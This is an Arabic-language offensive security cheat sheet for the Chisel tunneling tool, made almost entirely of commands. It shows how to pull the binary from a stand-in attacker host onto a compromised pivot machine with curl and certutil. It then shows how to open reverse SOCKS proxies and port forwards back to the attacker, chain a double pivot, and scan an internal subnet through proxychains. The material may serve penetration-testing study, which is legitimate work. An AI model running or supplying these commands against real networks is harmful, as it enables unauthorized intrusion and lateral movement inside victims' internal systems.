Chisel

Chisel — أداة Pivoting سريعة تعتمد على HTTP و SSH tunneling. تشتغل بنظام Client/Server.


تثبيت

# تحميل
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gzip -d chisel_linux_amd64.gz
chmod +x chisel_linux_amd64
mv chisel_linux_amd64 chisel

# نقل للـ Pivot
python3 -m http.server 80
curl http://attacker_ip/chisel -o /tmp/chisel && chmod +x /tmp/chisel

1. SOCKS Proxy — الأسهل والأكثر استخداماً

# على المهاجم — Server
./chisel server -p 8000 --reverse

# على الـ Pivot — Client
./chisel client attacker_ip:8000 R:socks

# نتيجة: SOCKS5 proxy على 127.0.0.1:1080
# /etc/proxychains4.conf
# socks5 127.0.0.1 1080

proxychains nmap -sT -Pn -n 10.10.10.0/24

2. Local Port Forwarding

# على المهاجم — Server
./chisel server -p 8000

# على الـ Pivot — Client
./chisel client attacker_ip:8000 3306:10.10.10.5:3306
# 127.0.0.1:3306 = 10.10.10.5:3306

# منافذ متعددة
./chisel client attacker_ip:8000 8080:10.10.10.5:80 13389:10.10.10.5:3389 4433:10.10.10.5:443

3. Reverse Port Forwarding

# على المهاجم — Server
./chisel server -p 8000 --reverse

# على الـ Pivot — Client
./chisel client attacker_ip:8000 R:8080:10.10.10.5:80
# المهاجم:8080 = 10.10.10.5:80

4. Double Pivot — شبكة داخل شبكة

# Pivot 1 — يرى المهاجم
./chisel client attacker_ip:8000 R:socks
# proxychains على 127.0.0.1:1080

# Pivot 2 — داخل الشبكة الداخلية — عبر Pivot 1
proxychains ./chisel client 10.10.10.5:9000 R:socks2
# الخادم على Pivot 1
./chisel server -p 9000 --reverse

# /etc/proxychains4.conf
# socks5 127.0.0.1 1080  # Pivot 1
# socks5 127.0.0.1 1081  # Pivot 2 — port مختلف

Windows — Chisel

# تحميل
certutil -urlcache -split -f http://attacker_ip/chisel.exe C:\Windows\Temp\chisel.exe

# تشغيل
C:\Windows\Temp\chisel.exe client attacker_ip:8000 R:socks